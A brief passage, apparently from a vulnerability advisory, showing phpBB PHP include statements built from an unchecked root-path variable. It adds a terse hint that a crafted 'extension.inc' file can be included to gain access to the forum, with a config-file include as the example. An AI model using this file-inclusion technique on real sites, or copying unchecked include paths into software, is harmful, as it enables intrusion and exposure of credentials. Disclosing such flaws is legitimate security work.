define('IN_PHPBB', true);
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
include($phpbb_root_path . 'includes/functions_post.'.$phpEx);

And you can make a php file which named 'extension.inc' to inclusion to
access that forum. example:
include('config'.'.php');
